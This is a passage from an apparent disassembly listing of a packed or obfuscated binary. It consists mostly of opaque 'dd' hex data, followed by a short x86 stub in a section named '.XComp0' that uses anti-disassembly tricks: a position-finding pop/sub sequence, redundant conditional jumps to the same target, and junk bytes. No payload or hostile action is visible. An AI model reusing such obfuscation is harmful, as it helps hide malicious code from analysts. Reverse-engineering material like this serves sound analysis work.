		dd 3310E1BEh, 3D9F19D1h, 3256D53Ch, 0B2FF8BB1h,	3D5675B1h
		dd 32568234h, 325CB4B1h, 52D6AEB1h, 0AAF15168h,	0A274364Dh
		dd 3AD1DAF1h, 3D56EAB1h, 32567733h, 0B137DAB1h,	0B4595859h
		dd 3256AEB0h, 326EBE4Dh, 34BFABB1h, 4056D5B1h, 7BA2451Ch
		dd 32A9585Bh, 23BFBAB1h, 52565DB1h, 0DD4A5E94h,	7325B6D3h
		dd 349393FDh, 55E25BAAh, 0DB530232h, 325675BBh,	1199ADD5h
		dd 4B213685h, 6BFF507h,	0CA5657B1h, 325042E2h, 0B57D5B1h
		dd 40531486h, 223EF3Ah,	5436BCB1h, 53AE963Ah, 0CB65AA3Ah
		dd 0DBAE37EAh, 3256ABBFh, 0CE32995Ch, 0B11F0518h, 0E2922782h
		dd 9B37FA27h, 0B2565DB1h, 323E2BBEh, 35BF57B1h,	3A56ABB1h
		dd 81984D88h, 0F455B52Ch, 32567F58h, 0CCC19CB1h, 0AC8A8AD4h
		dd 0B1A4D1C8h, 31A35271h, 3266DE33h, 0C71E2CB7h, 0DB5EAD38h
		dd 325675A3h, 329D566Dh, 472BA896h, 0CB73555Bh,	0B92E2614h
		dd 75DF6EB6h, 0DBAA20BDh, 3256EB59h, 325F9CD1h,	0CCC7BAB1h
		dd 5AB5DB0Eh, 3D7662C6h, 32565338h, 6CE9CDB1h, 0EAA1B443h
		dd 3256E458h, 663FCFB1h, 366196Ch, 0A33EF084h, 1926A4CBh
		dd 0EAA1A277h, 3796284Dh, 3256C758h, 0B56D68B1h, 739370D2h
		dd 12C7341Fh, 3FFC49E8h, 311C3E28h, 32662233h, 3AD7A4B7h
		dd 3D56D5B1h, 3256E835h, 7A3715B1h, 3A113344h, 3E11D44Dh
		dd 3256BC58h, 28645AB1h, 820BF933h, 5AF726Ch, 0DB9C358Fh
		dd 0DB7C45E7h, 3256BBD1h, 0DB966E44h, 3256AEB9h, 0AB89B4BAh
		dd 5B5BD1A3h, 5257933Bh, 7C654D7h, 32567858h, 0E46061B1h
		dd 0A6D10BB7h, 812545EBh, 9A37C2A1h, 82D3A431h,	0DB56D5B1h
		dd 3256EABEh, 0FB8BFF11h, 0F46A1FC3h, 0FB64DF8Bh, 31160188h
		dd 3250BE77h, 0B90FABB1h, 23E35EA7h, 3D542A32h,	32567430h
		dd 33ED42B1h, 3D565DB1h, 3256A335h, 0DBD737B1h,	1790F64Ch
		dd 0E1B854D7h, 0E95D8BDBh, 3266F1BEh, 0BF59BAB1h, 32565DB0h
		dd 0D0CC2449h, 0DB53A8F9h, 3256ABBBh, 2052A2A1h, 668E0D46h
		dd 0D1D64E83h, 35BFDAB0h, 6C565DB1h, 0D37EC0C9h, 0FAD68088h
		dd 0F155CA6Ah, 3A115C49h, 325462BEh, 533675B1h,	3D5AFD38h
		dd 32565C3Ah, 0A7BF57B1h, 3D5657B1h, 3256A035h,	0B930B5B1h
		dd 32D3E569h, 535675B1h, 325739BEh, 0C5AA5DB1h,	3CBECE69h
		dd 9A5657B1h, 2988C205h, 7D15C897h, 8F45FAF0h, 0C81F4DDh
		dd 6C087CF8h, 1737B73Bh, 3256AE4Eh, 54BDDDD1h, 0CB0E7930h
		dd 3D90FED0h, 3256EE35h, 0F3DD15B1h, 0DB8E4DD0h, 32565DBCh
		dd 0A38E3452h, 717FDC7Bh, 988225CAh, 325B3CFCh,	336BEAB1h
		dd 0CE82BD7Ch, 3404EF08h, 0B139AA1Bh, 0BBAFAC71h, 0BBA35FF6h
		dd 0B559A7F6h, 3256D5BDh, 325064BEh, 0BA5975B1h, 3256BAB1h
		dd 0C737A549h, 0DB955678h, 325657B4h, 37678B88h, 0B759800Ah
		dd 3256EABEh, 32567F58h, 824612B1h, 0D6A34107h,	0B93A5C00h
		dd 0F6D5A25Dh, 26DCA44Dh, 0DB56D5B1h, 3256EABEh, 0B06AF4B9h
		dd 17DEFFA5h, 6AE884D9h, 0CA619FF3h, 3259BED1h,	5C70ABB1h
		dd 0BCC9843Fh, 466BF7C1h, 986FFF85h, 0C7AADA01h, 3256B5D0h
		dd 0B30CAEB1h, 323E1A5Bh, 39DEA4B7h, 0DB56D5B1h, 3256EAB7h
		dd 3B0E7E7Bh, 0B9A31BCCh, 3278D20Bh, 54365BB7h,	54BB4A0Bh
		dd 0F2065A30h, 0DB9FE6D0h, 3256EAA2h, 0B168668Ah, 9571F80Fh
		dd 0A255F12h, 0C033C5E3h, 0B1C21349h, 0B659AB8Eh, 3256D122h
		dd 3256E358h, 22088FB1h, 91C6D267h, 34BF5C44h, 1956AEB1h
		dd 9EBECE44h, 0DB5120DDh, 3256D5BEh, 2E671338h,	52B8F7EFh
		dd 58B193F6h, 0CD610657h, 0CDAFA2C4h, 0BB595FC4h, 3256ABB4h
		dd 0ECE1DAD1h, 0DB36BAD0h, 325675BBh, 0BA81CBBBh, 0AC8E1CF6h
		dd 0E8D7E5ACh, 8735049h, 3B6443D0h, 0B836D5B1h,	6D058A5Ah
		dd 0F25D14D0h, 32633FBEh, 3D365DB1h, 3256AF32h,	0B330A2B1h
		dd 5337F750h, 20BFD23Ah, 9956EAB1h, 5798A766h, 0EF1CCB16h
		dd 0BA695B8h, 2B41B0C1h, 3264BED9h, 0CB36ABB1h,	325652BEh
		dd 0B137EAB1h, 0DBA36176h, 0CDA945FAh, 76A0DCD1h, 0B348826Bh
		dd 5268359h, 3FBFCABAh,	56D5B1h, 0B3A96D46h, 6E8A68F8h
		dd 0B4A48992h, 52AA1838h, 325A4648h, 0D41457B1h, 0AEFC9692h
		dd 0E88A2669h, 3CBFD963h, 15675B1h, 0F95645B1h,	327B1AE5h
		dd 12775498h, 0CD370F38h, 3D36A7C4h, 54050506h,	5308203Ah
		dd 3D5E004Eh, 3256B03Bh, 3253B4B1h, 0CD23AEB1h,	0CD8C211Eh
		dd 35DFA486h, 3D56D5B1h, 3256EB39h, 57BE89B1h, 5256BAB9h
		dd 5497D6D7h, 39375E3Ah, 12D25871h, 3D56ABB1h, 3256D831h
		dd 325E03B1h, 0B6EE75B1h, 6973F7DEh, 72BF997Dh,	0C756AEB2h
		dd 0FBE158D1h, 0B937783Ah, 0BA329F4h, 1ED4E5B6h, 525675B2h
		dd 32453ABEh, 3CBF5DB1h, 56AEB1h, 0C1B40FEFh, 85821ADFh
		dd 86B27731h, 32450344h, 4D6575B1h, 9409927Dh, 0FABBD02Eh
		dd 0E793FFC5h, 0A50DD156h, 77A9CA6Ch, 0B930B54Dh, 34D8E573h
		dd 3D5675B1h, 3256BA36h, 4DD53CB1h, 0B659AEB5h,	325657E1h
		dd 3256B858h, 863CB8B1h, 93F2192h, 41616115h, 5207536Eh
		dd 3636A831h, 325AD132h, 3278D3BEh, 20BFABB1h, 3356D5B1h
		dd 5048BF2Ch, 0F270A10Bh, 2B387153h, 0A7E01670h, 32D94750h
		dd 0B75957B1h, 3256ABBDh, 3256D258h, 9BC9C8B1h,	0B9CDE6C9h
		dd 0CDA94509h, 0DA363D4Eh, 3256AEB8h, 0B1823A89h, 467F89FDh
		dd 37BE8E71h, 8456EAB1h, 0F9034D0Dh, 62EEDBEFh,	533424A2h
		dd 3256AB08h, 0B93037B1h, 32594377h, 9262D5B1h,	0B8C7F245h
		dd 6116AA25h, 10BEE5BBh, 3250B5DCh, 3BACAEB1h, 1543E0FEh
		dd 0C137F3E8h, 35D1DA1Ah, 3D56EAB1h, 3256743Ch,	0BABF46B1h
		dd 0DBA9A24Fh, 3256AEA0h, 784A8A1Eh, 0E4E722Bh,	0E5DFE57Ah
		dd 736BF221h, 2229F6C7h, 5CD2B5B4h, 0DB565DB1h,	3256AEBAh
		dd 0AA5F5A2Bh, 0F3F3220Fh, 0B140026Eh, 3D50FACEh, 32561734h
		dd 3D1746B1h, 32564F32h, 3ED8A1B1h, 0DB5657B1h,	3256ABB6h
		dd 0D9EEB568h, 0B9213C28h, 0B05971F6h, 3256BAB4h, 6A07A1D1h
		dd 33D5A1D0h, 0C75657B1h, 0CB5AF43Ah, 3256DD58h, 2C0C93B1h
		dd 3714D168h, 331D533Fh, 38BF5DB1h, 1F56AEB1h, 0F335F467h
		dd 2367FF5Ch, 36115E86h, 3E096148h, 33709C4Dh, 0B9AEBAB1h
		dd 0B9AA59F6h, 9AEA2EEh, 0B7595FEEh, 3256AB14h,	0D9D7B3D1h
		dd 3EBF5FFDh, 3F5675B1h, 43AEFF75h, 352787E4h, 5362F96Ah
		dd 325ABEE3h, 41AEABB1h, 2AA91D1Fh, 6B058F03h, 65DD3CA4h
		dd 677D4FB5h, 6755A4A1h, 325847A5h, 5D9D57B1h, 6FCC3D1Bh
		dd 0C136CFB9h, 1FCA1FD5h, 3D5A2A3Ah, 3256BB3Fh,	0E87DA5B1h
		dd 325D2EBEh, 543657B1h, 89BC6A08h, 519B2F37h, 8D598AD0h
		dd 5391FF42h, 0CA535132h, 325AB4EBh, 8C9BAEB1h,	0B4E69755h
		dd 0E5E409FFh, 0BE595562h, 3256EAB9h, 0F9DD13D1h, 53A531D7h
		dd 32561458h, 38DDA1B1h, 525657B1h, 325625BEh, 0CBDCD5B1h
		dd 361161D0h, 3E09FE4Dh, 36099148h, 32565858h, 6C544AB1h
		dd 0D9D51419h, 26D6A4B4h, 0DB56D5B1h, 3256EABEh, 25A001D6h
		dd 0F2E28B30h, 4B2544D1h, 317D170Bh, 0CB641E3Bh, 4DD557B4h
		dd 0B759D6A1h, 3256EA9Dh, 324EF8BEh, 0B959BAB1h, 32565DA3h
		dd 3256A358h, 0C5FED5B1h
		dd 34E3F6Ch, 8B8006DCh,	52174C2Eh, 0E2C18630h, 0B330C7CAh
		dd 53F76160h, 8A36779Ah, 69E7CA27h, 330A22D0h, 0B330B5B0h
		dd 54C03752h, 8A37AF3Ah, 0CDA9454Eh, 0B9303DD1h, 0D8A72F72h
		dd 535B58B3h, 37EFCA44h, 0DB56D5B1h, 3256EABBh,	7AAD9A1Ah
		dd 4762EFA2h, 99A54AAAh, 0C9DDC8D1h, 892CEFD1h,	0C0E9AA72h
		dd 534AAC93h, 0CE2703D0h, 0B4598A4Eh, 3256BAB6h, 3257D0BEh
		dd 53AEAEB1h, 0F0AF9E49h, 0BF59ABA1h, 3256D5BDh, 32506ABEh
		dd 0B65975B1h, 3256BAB1h, 32565058h, 0CA7FFB1h,	0B09ACE60h
		dd 54E894B5h, 520368D0h, 31D4E544h, 3D5675B1h, 0B9374106h
		dd 325FB45Dh, 0E3BEAEB1h, 1E982C32h, 0B1BD703Ah, 35BF2975h
		dd 7C56EAB1h, 0E9ED0F7h, 0B45906AAh, 32565DB9h,	325429BEh
		dd 533657B1h, 325942D1h, 8A09D5B1h, 63641061h, 7A6F2DEAh
		dd 312A4D40h, 3256B536h, 0B30CAEB1h, 323BFA5Bh,	325B42B7h
		dd 3523D5B1h, 0A1DFCE2Eh, 0A87ABA6Bh, 52CFFE9Ah, 69090DE7h
		dd 325047D1h, 2A8157B1h, 29EBFBABh, 0B9AFB4D0h,	3278650Bh
		dd 325A9CB7h, 0DA3DBAB1h, 71C040Fh, 0FEBBA7D9h,	0B759C707h
		dd 3256ABBFh, 3256DC58h, 0E8C563B1h, 19CC597Eh,	0FB6523F5h
		dd 3250D9BEh, 0B836AEB1h, 5398DC66h, 3D569432h,	32553C35h
		dd 0BD598AB1h, 325675B2h, 549905BEh, 0B937A33Ah, 3BBFCEB6h
		dd 7D5657B1h, 256CD6E9h, 0AB6BF5E4h, 3256E658h,	0CE8955B1h
		dd 0EE5016ABh, 0BBD562CEh, 0CDA3CF01h, 0CDAE5BC4h, 23BFA3C4h
		dd 2F56D5B1h, 0F7AD20D0h, 0C349E416h, 0B674F32Dh, 6A9EBCB8h
		dd 8A36CEE1h, 5C3A8F16h, 3D37CAD1h, 0DA372C0Eh,	3256E91Dh
		dd 0F1D713D1h, 0BA5906BCh, 32565DB5h, 0D5B515D7h, 3D965CD0h
		dd 3256FB34h, 25DFDAB1h, 5256EAB1h, 32567E58h, 0B14FEAB1h
		dd 68795772h, 0BB94E445h, 0EB23440Bh, 3FBFCA86h, 0AC56D5B1h
		dd 0E1B3315Ch, 0A318725Fh, 550A7AD1h, 0DBAE5A3Ah, 3256AE8Bh
		dd 0D9D701D1h, 0E6DA78Bh, 325F3DE9h, 6FEFEAB1h,	0AE1A1054h
		dd 6C2BA86Bh, 2691DED0h, 0CD744744h, 0B336A84Eh, 0AB000241h
		dd 325D3CB9h, 57BAEAB1h, 0FD6BD39Ch, 3F8A4678h,	77DF3C1Ah
		dd 34BFCE4Dh, 0C15657B1h, 9E2B29F6h, 53815E02h,	525A9F4Eh
		dd 6CA7FEE3h, 0E14B00D7h, 85593DD0h, 47A9CF7Eh,	0B33037B9h
		dd 5366BE5Fh, 0BF59E24Eh, 3256EAB0h, 30B09D49h,	0B459BAB1h
		dd 32565DB6h, 325729BEh, 39AF57B1h, 6D2A471h, 5256D5B1h
		dd 32590348h, 0E8A275B1h, 5FFC4E4Bh, 0B2F5F0CFh, 923B426Fh
		dd 0DBAF36C6h, 3256A93Fh, 324751BEh, 0BB59EAB1h, 325675BAh
		dd 3256BC58h, 0B75C8CB1h, 0B9539E46h, 0DA36ABF4h, 3256ABA2h
		dd 516CB49Ch, 544AE7Fh,	0BA7E780h, 0C8885C76h, 624D9381h
		dd 7DE7F1E8h, 3D516ED0h, 3254E633h, 77A920B1h, 3253034Dh
		dd 0F4E675B1h, 0B17EAC67h, 3D5659CEh, 32569435h, 0BA5937B1h
		dd 3256ABB3h, 5236B4D1h, 53378AD0h, 3E29F6D0h, 12D2B5B1h
		dd 52565DB1h, 8D3052D1h, 53374189h, 32562A58h, 325B3CB1h
		dd 250EAB1h, 0F8DAE74Bh, 0DA8B1989h, 8AAC2301h,	0CDA9514Eh
		dd 324BD6BEh, 0BE59ABB1h, 3256D5A6h, 3256F858h,	0CDFD80B1h
		dd 0AA940974h, 3E603CE0h, 0B7A9C5ADh, 8BCCA31Bh, 3256ABB4h
		dd 324154BEh, 20BFEAB1h, 0DF5675B1h, 7F28069h, 2E645A13h
		dd 0A8BF0820h, 18AEAF77h, 0C7FD588Bh, 0CDA86A58h, 0F5DD8A4Eh
		dd 32566158h, 0FA9A25B1h, 0FCA2E3ECh, 0A7237826h, 1293CD1Fh
		dd 32156BFCh, 4DD5B4DEh, 0B659EFA1h, 325675C2h,	32573DBEh
		dd 0B1AF5DB1h, 3D50BECEh, 3256FF34h, 325B42B1h,	197ED5B1h
		dd 1FFB5283h, 1CF8D4EFh, 738B149Fh, 3611D644h, 32592DBEh
		dd 38BF57B1h, 0B656ABB1h, 20835B9Bh, 62E0668Fh,	0E8DD15A8h
		dd 0E9843BD7h, 6DDD3CCCh, 33D0A1BDh, 0CB5657B1h, 32565F58h
		dd 2AD3DAB1h, 0DB56EAB1h, 325675A2h, 0BEF20996h, 9C41E005h
		dd 0EB1BF5B5h, 0B3CCB518h, 0B9E3886Fh, 35BFD1F6h, 9E56EAB1h
		dd 74E11F5Fh, 6DDDE43Dh, 3242B4BDh, 3B53AEB1h, 0E5B6A2B1h
		dd 0C0C09980h, 0E8E18B7Ah, 0C586A1EAh, 0B4BFDD24h, 0DB56BAB1h
		dd 32565DA0h, 0F28769CBh, 0E6AEB516h, 0BFD5885Dh, 0A99EBF38h
		dd 3611611Fh, 3E09FE4Dh, 3256B058h, 0FBB443B1h,	0BBFBD2B8h
		dd 197812FBh, 0CAAAAFEEh, 52533E32h, 0BC593E3Bh, 325675B2h
		dd 538731D7h, 31462232h, 326D2BBEh, 523657B1h, 3256A758h
		dd 0A62208B1h, 0FFA636A0h, 0C4F693F0h, 3245531Ah, 0A2AC5DB1h
		dd 0C2B8BC14h, 6B7EA15Eh, 39AC703Dh, 0E8BF3319h, 0B9308BECh
		dd 3D171470h, 3256BE3Ah, 6B043DB1h, 0CE8F85D0h,	3241DCBEh
		dd 20BFABB1h, 7056D5B1h, 15DC9C5h, 0C46D464Bh, 28E9581Dh
		dd 0F323E73Ch, 330A27BEh, 35DD58B0h, 5256ABB1h,	0B9422131h
		dd 0CDEE8B40h, 0C7A98A4Eh, 3256BF08h, 3251B4B1h, 76ECAEB1h
		dd 0D206F07Fh, 99A55EE9h, 0CF483C4Dh, 3DAF154Eh, 3256743Ch
		dd 0CA3742B1h, 325FB478h, 0F781AEB1h, 0BB6C10AAh, 0F0FDC668h
		dd 0BC59D5B9h, 3256EABDh, 3250FCBEh, 0B959BAB1h, 32565DB1h
		dd 324647E4h, 0C88457B1h, 55ADB70Dh, 0ABACE49Eh, 2A7A9F16h
		dd 0DEDD29E8h, 46893BD1h, 0B32C00C2h, 0F9A36D6Bh, 0F6D536F6h
		dd 3D36524Dh, 3256FE3Bh, 3EBF8AB1h, 0BF5675B1h,	8E358A34h
		dd 313142E6h, 0DA0DB9F1h, 325657A3h, 0CB3A777Ch, 378C54CFh
		dd 8772E167h, 0C10C79C5h, 53095D77h, 3D5E183Ah,	3256A93Bh
		dd 33D058B1h, 0CB56ABB1h, 3D5A908Ah, 32568333h,	3FD37AB1h
		dd 5256BAB1h, 3256DCBEh, 53EEAEB1h, 532F3EFBh, 3D46EE8Ah
		dd 32569836h, 21D6E5B1h, 525675B1h, 3256B259h, 5A9C81B1h
		dd 6DEA05A5h, 8559085Bh, 7791CA6Bh, 3256D54Dh, 3EBF8AB1h
		dd 0E65675B1h, 2F8829BCh, 840438BAh, 54E46F7Fh,	5392CB0Ah
		dd 32568858h, 325A3CB1h, 0A65BEAB1h, 6836DEB9h,	3E890A5Eh
		dd 7791E066h, 3256AF4Dh, 855937B1h, 33BFCA78h, 0CE56D5B1h
		dd 325903D0h, 45375B1h,	632FEF9h, 0DB30EB0Bh, 317480EBh
		dd 0CE13DC7Ch, 325721BEh, 0FBA3D5B1h, 53368AD1h, 32567F58h
		dd 0FB96A9B1h, 6597308Eh, 53556DFBh, 32565258h,	77E74AB1h
		dd 0F0379A32h, 0B836EABDh, 32429C7Fh, 60ABAB1h,	86068683h
		dd 97211960h, 0DA35EB1Eh, 0CF0C7577h, 67377FF7h, 33D5E549h
		dd 0CE5675B1h, 0B959563Ah, 32565DBCh, 3256A658h, 0DF549AB1h
		dd 717AEDE6h, 0CE9256FDh, 3256E158h, 48E1CB1h, 9B304C94h
		dd 17B9E890h, 325047D1h, 8D5057B1h, 80C63A6Fh, 3256D559h
		dd 0D8D7B0B1h, 3456060Dh, 3256BF58h, 0A2DBB5B1h, 35BFD26Fh
		dd 0D95657B1h, 0F2FA97DAh, 0FB65A699h, 35BFBBD1h, 8F5675B1h
		dd 28FCF194h, 5309723Bh, 54367582h, 1520A730h, 0A5962AD7h
		dd 6FDFB46Dh, 0EAD78A4Dh, 17B03395h, 0DB36DB48h, 32565DB6h
		dd 0B0DF7BCEh, 0DBBDAFAEh, 3256ABA0h, 0BE3595FEh, 4BA18E94h
		dd 3ABF6187h, 6378A1D7h, 88DD3C8Eh, 3456803Eh, 32565B58h
		dd 0B70341B1h, 7A1F07B9h, 956265D0h, 0DD58097h,	6BD2B5B1h
		dd 0CE565DB3h, 0CB892FD1h, 0DB163BA3h, 3256ABA3h, 6AAAB0A4h
		dd 5185C211h, 30195BC0h, 0EB5F36D6h, 0B137C15Ch, 0B759518Eh
		dd 32565785h, 0B059CB48h, 3256D5B3h, 0D7DC8BD1h, 2691F6D0h
		dd 325A38BEh, 0B0595DB1h, 3256AEB7h, 3256DABEh,	95BFABB1h
		dd 0DBA92A4Eh, 3256EAB9h, 4DE46FF3h, 66EBB184h,	32522232h
		dd 32782ABEh, 20BF57B1h
		dd 0D956ABB1h, 831256BDh, 7E70B263h, 76DBA126h,	0C022693Ah
		dd 3E29DEE0h, 3FD2A1B1h, 3D5657B1h, 3256AA35h, 0DBF29B1h
		dd 0CB56EAB1h, 0DBAA304Eh, 3256BABEh, 66EF40A5h, 0B2EBB19Ch
		dd 374FFDD9h, 0B1473D22h, 0B959C176h, 3256EAB0h, 0CD6A9C49h
		dd 3EBF454Eh, 32565DB1h, 69709F72h, 0E3AFBEC6h,	3D3F62B3h
		dd 3256D433h, 4DD516B1h, 0B65970A1h, 3256BA3Ah,	3259DDBEh
		dd 38BFAEB1h, 6C5657B1h, 0DB0C4958h, 0B0F85877h, 222969AFh
		dd 0BAD37AB7h, 3D56BAB1h, 32564B38h, 22D2A1B1h,	0DB5657B1h
		dd 3256ABBAh, 0BD6B3345h, 433E6781h, 733DC294h,	36113149h
		dd 325ED7BEh, 0B059AEB1h, 325657B3h, 6DDDCAD1h,	33D3DABDh
		dd 0CB56EAB1h, 32567F58h, 39F105B1h, 0B2BC4576h, 0DBFB78AEh
		dd 32565705h, 3256A658h, 1DFB27B1h, 0E5DBD3B6h,	0AD656B05h
		dd 3ABF9501h, 0F1565DB1h, 0E97AD03Bh, 0B96C506Bh, 0B9AEAFF6h
		dd 38BFD9EEh, 1356EAB1h, 54EA71B8h, 0A36D5E36h,	323FB47Ah
		dd 0B9A3AEB1h, 543653F6h, 53D7EC0Eh, 3D5A8A3Ah,	3256FA3Fh
		dd 0B93015B1h, 32505367h, 9D805DB1h, 8C6D1516h,	36097CD0h
		dd 37BD2844h, 3256C458h, 92CEB1h, 0AF16BCFAh, 0ABCE00AFh
		dd 7E480A04h, 0BF594BDEh, 325657B6h, 32572DBEh,	0B1AAD5B1h
		dd 3D55FACEh, 32566734h, 325D53B1h, 0C1C85DB1h,	88E439FBh
		dd 59B560B5h, 19AFEAA5h, 3BDADA68h, 5256EAB1h, 13B29B30h
		dd 53A3D836h, 33570138h, 0C8E1A1D1h, 98EAA30Ah,	0CDEECAB9h
		dd 0C7A92A4Eh, 3256EF08h, 3EDA7AB1h, 3D56BAB1h,	32565B3Dh
		dd 32D6A1B1h, 0C15657B1h, 3246421Ah, 8380D5B1h,	0A7508D1Dh
		dd 6D0E2400h, 0F2038DA7h, 81BF464Ah, 0DBA9514Ch, 325657A1h
		dd 198AD9E7h, 1AFBEA7h,	1435B8D1h, 2C138F64h, 77DD42D0h
		dd 3D9FA14Dh, 3256B73Bh, 3ABF37B1h, 0DC56ABB1h,	52C79BB6h
		dd 0DB31B671h, 325675B4h, 0D4539054h, 0C7953CDDh, 33D8A1E1h
		dd 0CE5657B1h, 325942E0h, 8847D5B1h, 0CB477150h, 61D75CD8h
		dd 65D2DAC4h, 0BE590EA6h, 3256AEB9h, 3254D8BEh,	5336ABB1h
		dd 3256D559h, 0D8D7B0B1h, 3456034Dh, 32595344h,	7ACA5DB1h
		dd 21AF25CBh, 0EF2B9A45h, 5231DDA3h, 4BCC58F7h,	3D50EA9Eh
		dd 32567436h, 56EE4FB1h, 3D565DB1h, 3256AF35h, 38BEAEB1h
		dd 5256ABB4h, 0E0D6DD7h, 1D0253D7h, 0C75DFED0h,	3EBF7B8Ah
		dd 0AF565DB1h, 672A7F9Ah, 3B8F3A36h, 0DB4AAD5Dh, 3256D5EAh
		dd 325769BEh, 31AA75B1h, 0C7AEBEFAh, 0B0599C8Ah, 3256AE31h
		dd 221D5444h, 3256A458h, 4FA77BB1h, 8C5D0A28h, 0B24802Bh
		dd 0CC8E9BB3h, 0B0599C8Ah, 3256AEAAh, 28BFAE44h, 3D56ABB1h
		dd 3256DB3Ch, 0B2598AB1h, 325675B1h, 0D7127B30h, 0DB372B34h
		dd 3256AEC1h, 323CBE4Dh, 0BFAFABB1h, 33740B2Bh,	325F03B7h
		dd 85C575B1h, 25431D48h, 0CD30A867h, 7FBF5B62h,	525657B1h
		dd 32582CBEh, 3BBFD5B1h, 0AB56EAB1h, 19E62E58h,	0BF3A6A2Bh
		dd 3256DABEh, 0CE37AEB1h, 1452CD3Ch, 8C36ADB0h,	3A60E90Ah
		dd 3256FB58h, 4D8A73B1h, 82DF398Eh, 33DD3FD8h, 54AC72A2h
		dd 0CD37E754h, 0F4D6CB62h, 0B69E5418h, 536A016Ch, 23D47AEAh
		dd 0DB56BAB1h, 32565DBDh, 4AF3D8D1h, 7568382Eh,	9884D0D6h
		dd 37BFB5E8h, 0C856EAB1h, 280AD0E3h, 5ACCF60Ah,	520E3C9Eh
		dd 0EAF317D7h, 0E9D731E3h, 530F0D30h, 35D0DA72h, 3D56EAB1h
		dd 32567432h, 0DB0342B1h, 32565DB9h, 638AAEEBh,	7D4D1AECh
		dd 38BF473Ah, 3C56D5B1h, 6F50B579h, 0A643A7EDh,	325652A1h
		dd 0B30C5DB1h, 322E275Bh, 53AA37B7h, 32572BBEh,	52AFD5B1h
		dd 3256E458h, 80BB4AB1h, 89BA16D9h, 9137493Fh, 0BF5671E5h
		dd 32792E0Bh, 3BD7A4B7h, 5256D5B1h, 83966BD7h, 5342C519h
		dd 0DB5EFF3Ah, 32565DA3h, 0EA510603h, 5AE3A745h, 0DA7B9438h
		dd 0AD235551h, 0BBAF8F33h, 33DF7AB6h, 0CB56BAB1h, 3D5A183Ah
		dd 3256A739h, 533637B1h, 89852AD7h, 75DFB4C3h, 77DD1FB5h
		dd 32429CA1h, 0CF21BAB1h, 5579D0B0h, 5F4404A2h,	963B5FC7h
		dd 0ECB34727h, 75DFF30Eh, 77DD16BDh, 325C9CA5h,	73B8BAB1h
		dd 620A6630h, 5126BAFEh, 0DB461038h, 3256ABA0h,	498F5A8Dh
		dd 93817AEDh, 0B056F5D4h, 7FCC1C81h, 0CA37A193h, 32464778h
		dd 0BFB657B1h, 0DB653BA9h, 4B27811Ch, 0A1E44C69h, 2294A924h
		dd 33DFB5B1h, 0CE565DB1h, 325A24BEh, 0BD5957B1h, 3256ABB7h
		dd 325652BEh, 0CA36EAB1h, 2ACFF077h, 0DB11BF48h, 32565DBCh
		dd 5F106891h, 0E16A1793h, 0EAA42E26h, 414CBD48h, 3D3642A6h
		dd 32566132h, 325953B1h, 0C9225DB1h, 2E063DEEh,	0A62177FEh
		dd 7E2B49FBh, 0F1DDB3A5h, 33D3E5D0h, 0CB5675B1h, 3A870F4Eh
		dd 0BFAE5848h, 0CE93BE34h, 0B55937B4h, 3256ABB2h, 528962BEh
		dd 3256FE58h, 2A2730B1h, 6C4902D5h, 22CCB612h, 1D085DE3h
		dd 878D4A9Fh, 325B42D0h, 5339D5B1h, 0C69E8755h,	3CB178D1h
		dd 531FB7EBh, 3D86A2D0h, 3256A934h, 33D958B1h, 0CB56ABB1h
		dd 0B8DB20E3h, 3456DA1Bh, 0CDAF2449h, 0DB0C4F61h, 32565DBBh
		dd 923ABB4Bh, 1FFDE48Dh, 0B0DBA9EDh, 3456E51Bh,	3256FB58h
		dd 5D905EB1h, 17E77B0Eh, 9C60D46h, 0B3FA45CCh, 85593A49h
		dd 0CB36A7F1h, 3D37053Ah, 3256EB32h, 0EADD8CB1h, 3256A958h
		dd 5C601EB1h, 0C82DC6Fh, 8F00DBEFh, 29FCF940h, 0FC5421A3h
		dd 325F03E3h, 0FBA175B1h, 0BE67B385h, 3DC82602h, 3256A53Eh
		dd 3250BEB1h, 0EA81ABB1h, 4AB8FF55h, 0BD59DBBEh, 325675B0h
		dd 0BF59E044h, 32565DB0h, 0CE95AD48h, 325CBED1h, 54B1ABB1h
		dd 620E5939h, 0E2909DAh, 2D519B30h, 0BB37A81Bh,	0CB5F6433h
		dd 39D9A1B4h, 525657B1h, 325628BEh, 0FCD6D5B1h,	52378B88h
		dd 8796C2BEh, 0DA36DB41h, 32565DBBh, 658AF03Fh,	0C630BC8Eh
		dd 0F0DD7287h, 989154E9h, 5320F37Dh, 0E951FC72h, 6, 0D49B9EAEh
		dd 6052E361h, 5E9F78Bh,	39000000h, 0BB053120h, 0E9F56061h
		dd 14h,	61839791h, 29A2CF30h, 0EC4113F4h, 0EC8DECFEh, 1415520Ah
		dd 0E861h, 815A0000h, 7B3DEAh, 5E906h, 0F9330000h, 0F20DD2Bh
		dd 108Bh, 0BE900h, 0B58B0000h, 0F0C7F311h, 0DE27C38Eh
		dd 0BA6660C9h, 0B7B89242h, 6174E3DCh, 0EE952h, 6E750000h
		dd 712E7BA3h, 0C4DFF833h, 5979A00Fh, 939828Bh, 9E905F9h
		dd 80000000h, 18468BA9h, 63214F23h, 0C64E6DB9h,	0E1F7F841h
		dd 8E0F5AF8h, 9, 0CA816660h, 0CAB6CBE8h, 11E961h, 0BFA90000h
		dd 0F6EABE5Bh, 0D60FCAFDh, 2CB43DDDh, 595E3C9h,	3039h
		dd 13820Fh, 850F0000h, 0Dh, 8E9h, 327B8700h, 9978FFE8h
		dd 0FFFF25D5h, 8D0F7FFFh, 1, 398289FCh,	6005F909h, 0C8EDD181h
		dd 0EA80469Bh, 11E961B9h, 35000000h, 1F3E77CAh,	0A39A3484h
		dd 0C2D7DB87h, 4AB7CED4h, 0CE95Ah, 27B00000h, 34F1A7E5h
		dd 0FFCB5971h, 0FC59F525h, 0D8C0FC3h, 0E9000000h, 8, 0C431B1F5h
		dd 5D9E98E9h, 11E951F8h, 70000000h, 51861D3Bh, 0A4FDC047h
		dd 164D46A6h, 700C6AD5h, 5E952h, 0B2BB0000h, 0E8758B56h
		dd 0
; ---------------------------------------------------------------------------
		pop	edx
		sub	edx, 6007C67h
		clc
		jmp	loc_5E326D
; ---------------------------------------------------------------------------
		mov	bl, 5Fh
		jmp	short near ptr byte_5E32AC
; ---------------------------------------------------------------------------
		dw 678h
		dd 0A1506E10h
		db 68h
; ---------------------------------------------------------------------------


loc_5E326D:				; CODE XREF: .XComp0:005E325Cj
		js	loc_5E327A
		jle	loc_5E327A
		clc


loc_5E327A:				; CODE XREF: .XComp0:loc_5E326Dj
					; .XComp0:005E3273j
		mov	ecx, eax
		jmp	loc_5E328F
; ---------------------------------------------------------------------------
		db 2Eh,	0E7h, 99h
		dd 0CD79EC8Ah, 0B0DD3B30h
		db 5Dh,	56h, 8Ch
